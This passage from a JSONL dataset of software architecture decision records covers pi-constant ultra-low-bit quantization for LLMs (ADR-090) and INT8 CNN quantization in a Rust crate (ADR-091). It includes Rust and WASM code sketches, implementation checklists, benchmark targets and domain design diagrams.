for i in (0..output.len()).step_by(4) {\n let indices = unpack_3bit_4(&packed[..]);\n let ints = decode_3bit_lut(indices);\n let floats = f32x4_convert_i32x4(ints);\n let scaled = f32x4_mul(floats, scale_v);\n v128_store(output.as_mut_ptr().add(i) as *mut v128, scaled);\n }\n}\n```\n\n### 6.4 Memory Optimization\n\n**Arena allocator integration** (reuse `memory_pool.rs`):\n\n```rust\n// Quantization temporary buffers from InferenceArena\nlet arena = InferenceArena::new(64 * 1024 * 1024); // 64 MB\n\n// Calibration activations (temporary, freed after calibration)\nlet activations = arena.alloc::<f32>(batch_size * hidden_dim)?;\n\n// Quantized weight blocks (permanent, moved to model)\nlet blocks = arena.alloc::<Pi3BitBlock>(num_blocks)?;\n```\n\n**Buffer pool for quantized KV cache**:\n\n```rust\n// Extend BufferPool size classes for Q2 blocks\nlet pool = BufferPool::new();\npool.add_size_class(66); // BitNet block: 64 bytes ternary + 2 bytes scale\npool.add_size_class(5); // Pi3BitBlock: 3 bytes data + 2 bytes scale\npool.prewarm_all(1024); // Pre-allocate 1024 blocks per class\n```\n\n### 6.5 Hadamard Optimization\n\n```\nHadamard complexity analysis:\n\nFull orthogonal rotation: O(d^2)\n d=4096: 16.7M multiply-add ops per layer\n d=11008: 121M multiply-add ops per layer\n\nFast Walsh-Hadamard: O(d * log2(d))\n d=4096: 49K multiply-add ops per layer (340x faster)\n d=11008: 143K multiply-add ops per layer (846x faster)\n\nNEON-vectorized WHT: O(d * log2(d) / 4)\n d=4096: 12K vector ops per layer\n Estimated time: ~3 us per layer, ~100 us total (32 layers)\n```\n\n---\n\n## 7. WASM Implementation\n\n### 7.1 New WASM Exports\n\n```rust\n// In crates/ruvllm-wasm/src/pi_quant_wasm.rs\n\n#[wasm_bindgen]\npub struct PiQuantWasm {\n #[wasm_bindgen(skip)]\n config: PiQuantConfig,\n}\n\n#[wasm_bindgen]\nimpl PiQuantWasm {\n #[wasm_bindgen(constructor)]\n pub fn new(bits: u8, k: u8) -> Self;\n\n #[wasm_bindgen(getter, js_name = bitsPerWeight)]\n pub fn bits_per_weight(&self) -> f32;\n\n #[wasm_bindgen(getter, js_name = stepSize)]\n pub fn step_size(&self) -> f32;\n\n /// Quantize FP32 weights to pi-scaled packed format\n pub fn quantize(&self, weights: &[f32]) -> Vec<u8>;\n\n /// Dequantize packed format back to FP32\n pub fn dequantize(&self, packed: &[u8]) -> Vec<f32>;\n\n /// Compute MSE between original and quantized\n pub fn compute_mse(&self, original: &[f32], quantized: &[u8]) -> f32;\n\n /// Compute spectral distortion (dB)\n #[wasm_bindgen(js_name = spectralDistortion)]\n pub fn spectral_distortion(&self, original: &[f32], quantized: &[u8]) -> f32;\n\n /// Serialize to JSON for localStorage persistence\n #[wasm_bindgen(js_name = toJson)]\n pub fn to_json(&self) -> Result<String, JsValue>;\n\n /// Deserialize from JSON\n #[wasm_bindgen(js_name = fromJson)]\n pub fn from_json(json: &str) -> Result<PiQuantWasm, JsValue>;\n}\n\n#[wasm_bindgen]\npub struct QuantBenchWasm { ... }\n\n#[wasm_bindgen]\nimpl QuantBenchWasm {\n #[wasm_bindgen(constructor)]\n pub fn new() -> Self;\n\n /// Run quantization benchmark, returns JSON result\n pub fn run_bench(&self, weights: &[f32], bits: u8, iterations: u32) -> String;\n\n /// Compare multiple formats\n #[wasm_bindgen(js_name = compareFormats)]\n pub fn compare_formats(&self, weights: &[f32]) -> String;\n}\n```\n\n### 7.2 Cargo Feature Gating\n\n```toml\n# In crates/ruvllm-wasm/Cargo.toml\n[features]\ndefault = [\"simd\"]\nsimd = []\npi-quant = [] # Pi-constant quantization\nqat = [\"pi-quant\"] # QAT requires pi-quant\nwebgpu = [...] # Existing GPU feature\n```\n\n### 7.3 WASM Build Profile\n\nReuse existing optimized profile from `ruvector-wasm`:\n\n```toml\n[profile.release]\nopt-level = \"z\" # Minimize binary size\nlto = true # Link-time optimization (unless Rust codegen bug triggers)\npanic = \"abort\" # No unwinding in WASM\ncodegen-units = 1 # Maximum optimization\n\n[package.metadata.wasm-pack.profile.release]\nwasm-opt = false # Disable wasm-opt per ADR-084 workaround\n```\n\n### 7.4 Browser Integration Example\n\n```javascript\nimport init, { PiQuantWasm, QuantBenchWasm } from '@ruvector/ruvllm-wasm';\n\nawait init();\n\n// Create pi-quantizer (3-bit, k=4)\nconst quant = new PiQuantWasm(3, 4);\nconsole.log(`Step size: ${quant.stepSize}`); // 0.7854 (pi/4)\nconsole.log(`Bits/weight: ${quant.bitsPerWeight}`); // 3.0625\n\n// Quantize weights\nconst weights = new Float32Array([0.5, -0.3, 0.8, -1.2, ...]);\nconst packed = quant.quantize(weights);\nconst restored = quant.dequantize(packed);\nconst mse = quant.computeMse(weights, packed);\n\n// Run benchmark\nconst bench = new QuantBenchWasm();\nconst results = JSON.parse(bench.compareFormats(weights));\n// { \"pi-q3\": { \"mse\": 0.051, \"throughput_mbs\": 2400 }, ... }\n```\n\n---\n\n## 8. Integration with Existing Crates\n\n### 8.1 Integration Map\n\n| Existing Component | File | Integration Point | Change Type |\n|-------------------|------|-------------------|-------------|\n| TargetFormat enum | `quantize/ruvltra_quant.rs` | Add PiQ3, PiQ2, Q2_QuIP variants | Extend |\n| GgufQuantType enum | `gguf/quantization.rs` | Register PiQ3=40, PiQ2=41 | Extend |\n| QuantConfig struct | `quantize/ruvltra_quant.rs` | Add pi_k, use_incoherence fields | Extend |\n| Training loop | `training/real_trainer.rs` | Add QatMode variant | Extend |\n| Contrastive sampler | `training/contrastive.rs` | Reuse for calibration data | Reuse |\n| Tool dataset | `training/tool_dataset.rs` | Calibration source: tool use domain | Reuse |\n| Claude dataset | `training/claude_dataset.rs` | Calibration source: reasoning domain | Reuse |\n| MicroLoRA | `lora/micro_lora.rs` | Add AdapterMode::Qat | Extend |\n| LoRA training | `lora/training.rs` | LoRA-QAT gradient path | Extend |\n| SONA engine | `sona/integration.rs` | Tier 2: scale adaptation | Extend |\n| SONA pretraining | `sona/ruvltra_pretrain.rs` | QAT-aware pretraining config | Extend |\n| KV cache | `kv_cache.rs` | Add Q2 cold store precision | Extend |\n| Expert cache | `bitnet/expert_cache.rs` | Add memory-aware routing | Extend |\n| MoE scheduler | `bitnet/expert_cache.rs` | Add precision hints | Extend |\n| WASM SIMD | `bitnet/tl1_wasm.rs` | Reuse LUT pattern for multi-bit | Pattern reuse |\n| WASM bindings | `ruvllm-wasm/bindings.rs` | Export PiQuantWasm, QuantBenchWasm | Extend |\n| HNSW router | `ruvllm-wasm/hnsw_router.rs` | Route quantization config by similarity | Reuse |\n| SONA instant | `ruvllm-wasm/sona_instant.rs` | Quality signal for dynamic precision | Reuse |\n| Arena allocator | `memory_pool.rs` | Temp buffers for calibration/quant | Reuse |\n| Buffer pool | `memory_pool.rs` | Size classes for Q2/Pi3Bit blocks | Extend |\n| Evaluation harness | `evaluation/real_harness.rs` | Add quantized model evaluation | Extend |\n| Benchmarks | `benches/ruvltra_benchmark.rs` | Add pi-quant throughput benchmarks | Extend |\n\n### 8.2 Dependency Flow\n\n```\nExternal (no changes):\n ruvector-core # Vector storage (used by SONA, witness log)\n ruvector-attention # Multi-head attention (unaffected by weight quant)\n ruvector-gnn # Graph neural networks (separate concern)\n\nInternal (extend):\n ruvllm # Main crate: new modules in quantize/, qat/, moe/\n ruvllm-wasm # WASM: new pi_quant_wasm.rs, quant_bench_wasm.rs\n sona # Learning: quantization-aware tier updates\n\nNo changes needed:\n ruvllm-cli # CLI: picks up new TargetFormat variants automatically\n ruvector-postgres # SQL quantization is independent concern\n```\n\n---\n\n## 9. Implementation Timeline\n\n| Week | Phase | Deliverables | Key Files |\n|------|-------|-------------|-----------|\n| 1-2 | **Foundation** | STE implementations, Pi-Quant core | `qat/ste.rs`, `quantize/pi_quant.rs` |\n| 3 | **Incoherence** | Hadamard transform, incoherence processing | `quantize/hadamard.rs`, `quantize/incoherence.rs` |\n| 4-5 | **Training** | Calibration, distillation, reasoning loss | `qat/calibration.rs`, `qat/distillation.rs` |\n| 6 | **QAT Loop** | Main training orchestrator | `qat/training_loop.rs`, `qat/config.rs` |\n| 7-8 | **LoRA-QAT** | Lightweight QAT via LoRA adapters | `qat/lora_qat.rs`, `lora/micro_lora.rs` update |\n| 9-10 | **MoE** | Memory-aware routing, mixed precision | `moe/router.rs`, `moe/precision_allocator.rs` |\n| 11 | **WASM** | Browser quantization, SIMD kernels | `pi_quant_wasm.rs`, `pi_quant_wasm_simd.rs` |\n| 12 | **Security** | Weight validation, GGUF security | `quantize/security.rs` |\n| 13 | **Benchmarks** | Criterion suite, quality evaluation | `benches/pi_quant_bench.rs` |\n| 14 | **Integration** | SONA integration, CLI, documentation | All modules, integration tests |\n\n---\n\n## 10. Success Criteria\n\n### 10.1 Correctness Criteria\n\n| Criterion | Target | Validation Method |\n|-----------|--------|-------------------|\n| Scalar-SIMD equivalence | \u22641 ULP difference | Automated fuzz testing |\n| STE gradient correctness | Matches PyTorch reference | Reference implementation comparison |\n| Hadamard invertibility | H \u00d7 H^T = n \u00d7 I to machine precision | Property test |\n| Calibration determinism | Same input \u2192 identical output | Seeded RNG + hash comparison |\n| GGUF format compliance | Type IDs 40/41 parse correctly | llama.cpp interop test |\n\n**Gate**: All correctness criteria must pass before any performance testing.\n\n### 10.2 Performance Criteria\n\n| Metric | Target | Method | Regression Threshold |\n|--------|--------|--------|---------------------|\n| Pi-quant NEON throughput | >10 GB/s dequantize | criterion benchmark | -5% |\n| Pi-quant WASM throughput | >2 GB/s dequantize | in-browser benchmark | -10% |\n| Hadamard 4096-dim latency | <50 \u03bcs | criterion benchmark | +10% |\n| QAT step time (0.5B) | <500 ms/step | training loop | +20% |\n| LoRA-QAT memory (0.5B) | <2 GB total | profiling | +50% |\n| WASM binary size delta | <+50 KB | wasm-pack build | +100 KB |\n| Existing Q4_K_M throughput | No regression | criterion comparison | -5% |\n| Existing BitNet throughput | No regression | criterion comparison | -5% |\n\n**Gate**: No existing benchmark may regress beyond threshold.\n\n### 10.3 Model Quality Criteria\n\n| Metric | FP16 Baseline | PiQ3 PTQ Target | PiQ3 + QAT Target | PiQ2 + QAT Target |\n|--------|---------------|-----------------|-------------------|-------------------|\n| WikiText-2 PPL | 12.3 | <14.5 (+18%) | <13.5 (+10%) | <16.0 (+30%) |\n| GSM8K Accuracy | 45% | >30% (-15pt) | >38% (-7pt) | >32% (-13pt) |\n| HumanEval pass@1 | 28% | >18% (-10pt) | >24% (-4pt) | >20% (-8pt) |\n| Tool Use Success | 92% | >82% (-10pt) | >88% (-4pt) | >85% (-7pt) |\n| Model Size (0.5B) | 1 GB | 190 MB | 195 MB | 130 MB |\n\n**Gate**: PTQ targets are Phase 1 exit criteria; QAT targets are Phase 2+ exit criteria.\n\n### 10.4 Rollout Readiness Criteria\n\n| Criterion | Requirement | Validation |\n|-----------|-------------|------------|\n| Documentation | All public APIs documented | cargo doc --no-deps passes |\n| Examples | One example per WASM export | examples/ directory check |\n| Error messages | User-actionable error strings | Manual review |\n| CI integration | All phases in CI pipeline | GitHub Actions check |\n| Security review | Weight integrity validation functional | Security test suite |\n| Benchmark baselines | Criterion baselines saved | benches/baselines/ populated |\n| CHANGELOG | Release notes prepared | CHANGELOG.md entry |\n\n**Gate**: All rollout criteria must pass before merge to main.\n\n---\n\n## 11. Consequences\n\n### 11.1 Positive\n\n- **8x memory reduction**: 7B model at 2-bit = 1.75 GB (from 14 GB FP16)\n- **Edge viability**: 0.5B model in 130 MB fits ESP32-P4 PSRAM\n- **Reasoning preservation**: QAT retains ~90% vs ~40% for PTQ at 2-bit\n- **Browser deployment**: WASM SIMD kernels enable client-side inference\n- **Novel contribution**: Pi-constant quantization is a publishable approach\n- **Reuses 80%+ of existing code**: Minimal new infrastructure needed\n\n### 11.2 Negative\n\n- **Training cost**: QAT requires GPU hours for fine-tuning\n- **Complexity**: 5 bounded contexts add architectural surface area\n- **Maintenance**: New quantization formats need ongoing kernel support\n- **WASM binary size**: Additional kernels increase download size (~50 KB)\n\n### 11.3 Mitigations\n\n- **LoRA-QAT** reduces training cost to 1 epoch on single GPU\n- **DDD boundaries** keep complexity isolated per domain\n- **Shared SIMD patterns** (tl1_wasm.rs LUT approach) reduce kernel duplication\n- **Feature gating** (`pi-quant`, `qat` features) keeps base binary lean\n\n---\n\n## 12. Related Decisions\n\n- **ADR-024**: Craftsman Ultra 30b 1bit \u2014 BitNet integration (ternary quantization)\n- **ADR-084**: ruvllm-wasm \u2014 First functional npm publish (WASM build patterns)\n- **ADR-016**: Delta-Behavior DDD Architecture (DDD pattern reference)\n- **ADR-002**: RuvLLM Integration (core ruvllm architecture)\n- **ADR-005**: WASM Runtime Integration (WASM infrastructure)\n- **ADR-074**: RuvLLM Neural Embeddings (embedding system)\n\n---\n\n## 13. References\n\n- `docs/research/quantization-edge/01-ultra-low-bit-quantization-survey.md`\n- `docs/research/quantization-edge/02-quantization-aware-training-qat.md`\n- `docs/research/quantization-edge/03-quip-2bit-framework.md`\n- `docs/research/quantization-edge/04-moe-memory-aware-routing.md`\n- `docs/research/quantization-edge/05-ruvllm-quantization-architecture.md`\n- `docs/research/quantization-edge/06-implementation-plan-rust-ruvllm.md`\n- `docs/research/quantization-edge/07-3int-pi-constant-quantization.md`\n- ICLR 2026: \"Reasoning-Oriented QAT for 2-Bit LLMs\"\n- QuIP (Cornell/RelaxML): Incoherence processing for 2-bit LLM quantization\n- LLM-QAT (Meta): Reusable QAT training loop with KV-cache quantization\n- ParetoQ: Multi-objective ultra-low-bit quantization\n- BitNet b1.58 (Microsoft Research): Ternary weight quantization", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-090-ultra-low-bit-qat-pi-quantization-ddd.md", "created_at": "2026-03-28T11:58:49.940154+00:00", "content_hash": "20f2988d6b9d597adf6cf2ab6626184a44e66d746bf5aac01316ae7604d5079d"} +{"id": "e1d6b71c-1eb6-4f07-acd9-bc8860576798", "source": "adr", "text": "# ADR-091 Implementation Checklist: INT8 CNN Quantization\n\n**ADR**: ADR-091-int8-cnn-quantization-ddd.md\n**Status**: Ready for Implementation\n**Target Crate**: `ruvector-cnn`\n\n---\n\n## Phase 1: Core Quantization Infrastructure (Weeks 1-2)\n\n### 1.1 Quantization Parameter Module\n\n- [ ] **File**: `crates/ruvector-cnn/src/quantize/params.rs`\n - [ ] `QuantizationParams` struct (scale, zero_point, qmin, qmax)\n - [ ] `QuantizationScheme` enum (PerTensor, PerChannel)\n - [ ] `QuantizationMode` enum (Symmetric, Asymmetric)\n - [ ] `from_minmax()` constructor\n - [ ] `from_percentile()` constructor (calibration-based)\n - [ ] Unit tests for parameter computation\n\n### 1.2 INT8 Tensor Types\n\n- [ ] **File**: `crates/ruvector-cnn/src/quantize/tensor.rs`\n - [ ] `QuantizedTensor<i8>` struct with metadata\n - [ ] `QuantizationMetadata` (scale, zero_point, shape)\n - [ ] `quantize()` method (f32 \u2192 i8)\n - [ ] `dequantize()` method (i8 \u2192 f32)\n - [ ] Bounds checking (INV-1, INV-2, INV-3)\n - [ ] Unit tests for round-trip accuracy\n\n### 1.3 Calibration Engine\n\n- [ ] **File**: `crates/ruvector-cnn/src/quantize/calibration.rs`\n - [ ] `CalibrationMethod` enum (MinMax, Percentile, MSE, Entropy)\n - [ ] `CalibrationCollector` for activation statistics\n - [ ] `CalibrationResult` with per-layer params\n - [ ] `calibrate_model()` entry point\n - [ ] Calibration artifact serialization (INV-7)\n - [ ] Unit tests for each calibration method\n\n---\n\n## Phase 2: INT8 Kernels (Weeks 3-4)\n\n### 2.1 Scalar Reference Kernels\n\n- [ ] **File**: `crates/ruvector-cnn/src/kernels/int8_scalar.rs`\n - [ ] `conv2d_int8_scalar()` - reference implementation\n - [ ] `depthwise_conv2d_int8_scalar()`\n - [ ] `matmul_int8_scalar()` for FC layers\n - [ ] `requantize_scalar()` (i32 \u2192 i8 with scale adjustment)\n - [ ] Property tests: output bounds, accumulator overflow checks\n\n### 2.2 AVX2 Kernels\n\n- [ ] **File**: `crates/ruvector-cnn/src/kernels/int8_avx2.rs`\n - [ ] `conv2d_int8_avx2()` using `_mm256_maddubs_epi16`\n - [ ] `depthwise_conv2d_int8_avx2()`\n - [ ] `matmul_int8_avx2()` using VNNI intrinsics (if available)\n - [ ] Kernel equivalence tests vs scalar (\u22641 ULP, INV-6)\n\n### 2.3 NEON Kernels\n\n- [ ] **File**: `crates/ruvector-cnn/src/kernels/int8_neon.rs`\n - [ ] `conv2d_int8_neon()` using `vmlal_s8`\n - [ ] `depthwise_conv2d_int8_neon()`\n - [ ] `matmul_int8_neon()` using dot product instructions\n - [ ] Kernel equivalence tests vs scalar\n\n### 2.4 WASM SIMD128 Kernels\n\n- [ ] **File**: `crates/ruvector-cnn/src/kernels/int8_wasm.rs`\n - [ ] `conv2d_int8_wasm()` using `i8x16` operations\n - [ ] `depthwise_conv2d_int8_wasm()`\n - [ ] `matmul_int8_wasm()`\n - [ ] In-browser kernel equivalence tests\n\n---\n\n## Phase 3: Graph Rewrite Passes (Weeks 5-6)\n\n### 3.1 BatchNorm Fusion\n\n- [ ] **File**: `crates/ruvector-cnn/src/quantize/graph_rewrite.rs`\n - [ ] `fuse_batchnorm_to_conv()` pass (GR-1)\n - [ ] Fused weight/bias computation\n - [ ] Integration with model loader\n - [ ] Unit test: verify BN params absorbed correctly\n\n### 3.2 Zero-Point Correction\n\n- [ ] **File**: `crates/ruvector-cnn/src/quantize/graph_rewrite.rs` (continued)\n - [ ] `fuse_zp_to_bias()` pass (GR-2)\n - [ ] Pre-compute: `bias_q = bias - zp_input \u00d7 \u03a3weights`\n - [ ] Unit test: verify runtime subtraction eliminated\n\n### 3.3 Quantize/Dequantize Insertion\n\n- [ ] **File**: `crates/ruvector-cnn/src/quantize/graph_rewrite.rs` (continued)\n - [ ] `insert_qdq_nodes()` pass (GR-3)\n - [ ] `QuantizeNode` and `DequantizeNode` types\n - [ ] Boundary detection for INT8 subgraph\n - [ ] Integration test: full model quantization\n\n### 3.4 Activation Fusion\n\n- [ ] **File**: `crates/ruvector-cnn/src/quantize/graph_rewrite.rs` (continued)\n - [ ] `fuse_relu()` pass (GR-4)\n - [ ] `fuse_hardswish()` pass (GR-4)\n - [ ] LUT-based HardSwish (256-entry table)\n - [ ] Unit tests for activation correctness\n\n---\n\n## Phase 4: Quantized Layer Implementations (Weeks 7-8)\n\n### 4.1 QuantizedConv2d\n\n- [ ] **File**: `crates/ruvector-cnn/src/layers/quantized_conv2d.rs`\n - [ ] `QuantizedConv2d` struct\n - [ ] `forward()` method with SIMD dispatch\n - [ ] Weight packing for SIMD efficiency\n - [ ] Unit tests with known inputs/outputs\n\n### 4.2 QuantizedDepthwiseConv2d\n\n- [ ] **File**: `crates/ruvector-cnn/src/layers/quantized_depthwise.rs`\n - [ ] `QuantizedDepthwiseConv2d` struct\n - [ ] Separate kernel for channel-wise ops\n - [ ] Unit tests\n\n### 4.3 QuantizedLinear\n\n- [ ] **File**: `crates/ruvector-cnn/src/layers/quantized_linear.rs`\n - [ ] `QuantizedLinear` struct\n - [ ] GEMM-based forward pass\n - [ ] Unit tests\n\n### 4.4 Quantized Pooling\n\n- [ ] **File**: `crates/ruvector-cnn/src/layers/quantized_pooling.rs`\n - [ ] `QuantizedMaxPool2d` - operates in INT8 domain\n - [ ] `QuantizedAvgPool2d` - requires intermediate precision\n - [ ] Unit tests for pooling correctness\n\n### 4.5 Quantized Residual Add\n\n- [ ] **File**: `crates/ruvector-cnn/src/layers/quantized_residual.rs`\n - [ ] `QuantizedResidualAdd` with requantization\n - [ ] Handle mismatched scales between branches\n - [ ] Unit tests\n\n---\n\n## Phase 5: Model Export & Integration (Weeks 9-10)\n\n### 5.1 Model Exporter\n\n- [ ] **File**: `crates/ruvector-cnn/src/quantize/export.rs`\n - [ ] Export quantized model to binary format\n - [ ] Include quantization config (INV-8)\n - [ ] Checksum generation (INV-7)\n - [ ] Version stamping\n\n### 5.2 Model Loader\n\n- [ ] **File**: `crates/ruvector-cnn/src/quantize/loader.rs`\n - [ ] Load quantized model from binary\n - [ ] Checksum verification\n - [ ] Config validation\n\n### 5.3 MobileNetV3 Integration\n\n- [ ] **File**: `crates/ruvector-cnn/src/models/mobilenetv3_int8.rs`\n - [ ] `MobileNetV3Int8` model definition\n - [ ] `from_float_model()` conversion\n - [ ] End-to-end inference test\n\n---\n\n## Phase 6: Benchmarks & Validation (Weeks 11-12)\n\n### 6.1 Criterion Benchmarks\n\n- [ ] **File**: `crates/ruvector-cnn/benches/int8_bench.rs`\n - [ ] Conv2d INT8 throughput (target: 2x FP32)\n - [ ] MobileNetV3 INT8 latency (target: 2.5x speedup)\n - [ ] Memory usage comparison\n\n### 6.2 Quality Validation\n\n- [ ] **File**: `crates/ruvector-cnn/tests/quality_validation.rs`\n - [ ] Cosine similarity \u22650.995 vs FP32 (GATE-1)\n - [ ] Per-layer MSE tracking\n - [ ] Embedding validation on test set (GATE-2)\n\n### 6.3 Acceptance Gate Tests\n\n- [ ] **File**: `crates/ruvector-cnn/tests/acceptance_gates.rs`\n - [ ] GATE-1: Calibration produces valid params\n - [ ] GATE-2: Cosine similarity \u22650.995\n - [ ] GATE-3: Latency improvement \u22652.5x\n - [ ] GATE-4: Memory reduction \u22653x\n - [ ] GATE-5: Zero unsafe without assertion\n - [ ] GATE-6: WASM build succeeds\n - [ ] GATE-7: CI pipeline passes\n\n---\n\n## Acceptance Criteria Verification\n\n| Gate | Test File | Command |\n|------|-----------|---------|\n| GATE-1 | `tests/acceptance_gates.rs` | `cargo test gate_calibration` |\n| GATE-2 | `tests/quality_validation.rs` | `cargo test gate_cosine_similarity` |\n| GATE-3 | `benches/int8_bench.rs` | `cargo bench --bench int8_bench -- latency` |\n| GATE-4 | `tests/acceptance_gates.rs` | `cargo test gate_memory_reduction` |\n| GATE-5 | CI | `cargo clippy -- -D clippy::undocumented_unsafe_blocks` |\n| GATE-6 | CI | `wasm-pack build --target web` |\n| GATE-7 | CI | GitHub Actions workflow |\n\n---\n\n## Rollback Triggers\n\n| Trigger | Detection | Response |\n|---------|-----------|----------|\n| Cosine <0.99 | GATE-2 fails | Review calibration method |\n| Latency <2x | GATE-3 fails | Profile kernel hot paths |\n| SIMD \u2260 Scalar | Kernel tests fail | Fix kernel bug, block merge |\n| CI failure | GATE-7 fails | Fix or revert |\n\n---\n\n## Definition of Done\n\n- [ ] All checkboxes above completed\n- [ ] All 7 acceptance gates passing\n- [ ] Documentation in `crates/ruvector-cnn/docs/`\n- [ ] CHANGELOG entry added\n- [ ] PR reviewed and approved\n- [ ] Merged to main", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-091-implementation-checklist.md", "created_at": "2026-03-28T11:58:49.940357+00:00", "content_hash": "e0542ddb379a4c29c2dd55e9fadf13789272ee25f4bac30a16fe6db2dfc2328c"} +{"id": "8e49651a-479a-4807-af38-70feb5e14cb0", "source": "adr", "text": "# ADR-091: INT8 CNN Quantization \u2014 Domain-Driven Design Architecture\n\n**Status**: Accepted (Implementing)\n**Date**: 2026-03-12\n**Authors**: RuVector Architecture Team\n**Deciders**: ruv\n**Technical Area**: INT8 Quantization / CNN Inference / AVX2 SIMD / Calibration / Edge Deployment\n**Related**: ADR-090 (Ultra-Low-Bit QAT & Pi-Quantization), ADR-003 (SIMD Optimization Strategy), ADR-005 (WASM Runtime Integration)\n\n## Version History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-03-12 | RuVector Team | Initial proposal based on INT8 quantization design |\n| 0.2 | 2026-03-12 | RuVector Team | Added decision statement, invariants, operator coverage, acceptance gates |\n| 0.3 | 2026-03-12 | RuVector Team | Implementation complete for Phase 1-3. Added status section. |\n\n## Implementation Status\n\n**Branch**: `feat/adr-090-ultra-low-bit-qat`\n**Last Updated**: 2026-03-12\n\n### Phase Completion\n\n| Phase | Status | Files Created | Tests |\n|-------|--------|---------------|-------|\n| Phase 1: PiQ3 PTQ | \u2705 Complete | `pi_quant.rs`, `pi_quant_simd.rs`, `ruvltra_quant.rs` | 54 |\n| Phase 2: LoRA-QAT | \u2705 Complete | `qat/` (9 files), `lora_qat.rs` | 24 |\n| Phase 3: Incoherence | \u2705 Complete | `hadamard.rs`, `incoherence.rs`, `quip.rs` | 23 |\n| Phase 4: WASM | \ud83d\udd04 In Progress | `pi_quant_wasm.rs`, `quant_bench_wasm.rs` | - |\n\n### Invariants Verified\n\n| Invariant | Status | Test File |\n|-----------|--------|-----------|\n| INV-1: STE Gradient Flow | \u2705 | `ste_tests.rs` |\n| INV-2: Scale Positivity | \u2705 | `pi_quant_tests.rs` |\n| INV-3: Step Size Constraint | \u2705 | `pi_quant_tests.rs` |\n| INV-4: Hadamard Orthogonality | \u2705 | `hadamard_tests.rs` |\n| INV-5: Calibration Provenance | \u2705 | `acceptance_gates.rs` |\n| INV-8: SIMD \u2248 Scalar | \u2705 | `simd_equivalence_tests.rs` |\n\n### Test Summary\n\n- **Total Tests**: 114\n- **All Passing**: \u2705 Yes\n\n---\n\n## Decision Statement\n\n**ADR-091 chooses INT8 PTQ (post-training quantization) as the default production quantization path for CNN inference in ruvector-cnn.**\n\nThis decision prioritizes:\n- Near-term shipping velocity over research novelty\n- Standard, validated INT8 PTQ over experimental ultra-low-bit approaches\n- Per-channel symmetric weights + per-tensor asymmetric activations as the quantization scheme\n- AVX2 as the primary SIMD target with NEON and WASM as secondary\n\n**Acceptance Benchmark**: MobileNetV3-Small INT8 must achieve \u22652.5x latency improvement with cosine similarity \u22650.995 versus FP32 on embedding validation set.\n\n---\n\n## 1. Context and Problem Statement\n\n### 1.1 Current State\n\nThe `ruvector-cnn` crate provides CNN-based feature extraction for visual similarity search and embeddings. Current implementation uses FP32 throughout:\n\n| Component | Path | Current State |\n|-----------|------|---------------|\n| Conv2d | `crates/ruvector-cnn/src/layers/conv.rs` | FP32 only |\n| BatchNorm | `crates/ruvector-cnn/src/layers/batch_norm.rs` | FP32, not fused |\n| MobileNetV3 | `crates/ruvector-cnn/src/models/mobilenet.rs` | FP32 inference |\n| SIMD kernels | `crates/ruvector-cnn/src/simd/` | FP32 AVX2/NEON |\n| Pooling | `crates/ruvector-cnn/src/layers/pooling.rs` | FP32 only |\n\n### 1.2 Problem\n\n1. **Performance ceiling**: FP32 AVX2 processes 8 values/cycle; INT8 can process 32 bytes/cycle \u2014 a 4x theoretical speedup untapped.\n\n2. **Memory bandwidth**: Vision models are often memory-bound. FP32 uses 4 bytes/value; INT8 uses 1 byte \u2014 4x reduction in memory traffic.\n\n3. **Edge deployment**: Mobile and embedded devices benefit significantly from INT8. MobileNetV3 at INT8 fits better in cache and reduces power consumption.\n\n4. **No calibration infrastructure**: Post-training quantization requires activation statistics. No calibration pipeline exists.\n\n5. **BatchNorm not fused**: Separate BatchNorm passes waste memory bandwidth. Fusion into Conv2d is standard for inference.\n\n### 1.3 Relationship to ADR-090\n\nADR-090 addresses ultra-low-bit (2-3 bit) quantization for LLMs with QAT. This ADR addresses INT8 quantization for CNNs with PTQ (post-training quantization):\n\n| Aspect | ADR-090 (LLM) | ADR-091 (CNN) |\n|--------|---------------|---------------|\n| Target bits | 2-3 bit | 8 bit |\n| Training | QAT with STE | PTQ with calibration |\n| Primary use | Language models | Vision models |\n| Key challenge | Reasoning preservation | Accuracy vs throughput |\n| Quantization | Pi-constant, QuIP | Per-channel symmetric |\n\n### 1.4 Strategic Goal\n\nDeliver **2-4x inference speedup** over FP32 with **<1% top-1 accuracy degradation** for MobileNetV3 and similar architectures on:\n- **Desktop/Server**: AVX2/AVX-512 acceleration\n- **Mobile**: NEON INT8 acceleration\n- **Browser**: WASM SIMD INT8 kernels\n- **Edge**: Reduced memory footprint for embedded deployment\n\nTarget: MobileNetV3-Small inference in <5ms on M4 (vs ~15ms FP32).\n\n---\n\n## 2. Domain Analysis \u2014 Bounded Contexts\n\n### 2.1 Strategic Domain Design\n\n```\n+====================================================================+\n| INT8 CNN QUANTIZATION SYSTEM (ADR-091) |\n+====================================================================+\n| |\n| +------------------+ +-------------------+ +----------------+ |\n| | Quantization | | Calibration | | Inference | |\n| | Core Domain |--->| Domain |--->| Domain | |\n| | | | | | | |\n| | - QuantParams | | - Statistics | | - INT8 Conv2d | |\n| | - Quantize/Deq | | - Histograms | | - Fused BN | |\n| | - Tensor Types | | - Calibration | | - INT8 ReLU | |\n| | - Scale Compute | | - Methods | | - Requantize | |\n| +--------+---------+ +--------+----------+ +-------+--------+ |\n| | | | |\n| v v v |\n| +------------------+ +-------------------+ |\n| | SIMD Kernel | | Observability | |\n| | Domain | | Domain | |\n| | | | | |\n| | - AVX2 INT8 | | - Benchmarks | |\n| | - NEON INT8 | | - Accuracy Tests | |\n| | - WASM SIMD | | - Profiling | |\n| | - Scalar Fallback| | - Quality Metrics | |\n| +------------------+ +-------------------+ |\n| |\n+====================================================================+\n```\n\n### 2.2 Bounded Context: Quantization Core Domain\n\n**Responsibility**: Quantization primitives, parameter computation, tensor types.\n\n**Aggregate Roots**:\n- `QuantParams` \u2014 Quantization parameters (scale, zero_point, mode)\n- `QuantizedTensor<T>` \u2014 Generic quantized tensor with metadata\n- `QuantConfig` \u2014 Configuration for quantization workflow\n\n**Value Objects**:\n- `QuantMode` \u2014 Symmetric vs Asymmetric quantization\n- `QuantGranularity` \u2014 Per-tensor vs Per-channel\n- `ScaleComputation` \u2014 Scale/zero-point calculation logic\n\n**Domain Events**:\n- `TensorQuantized { layer, mode, granularity, mse }`\n- `ScalesComputed { layer, num_channels, max_scale, min_scale }`\n- `OverflowDetected { layer, value, clamped_to }`\n\n**New files**:\n\n```\ncrates/ruvector-cnn/src/quantization/\n mod.rs # Public API\n params.rs # QuantParams, QuantMode, 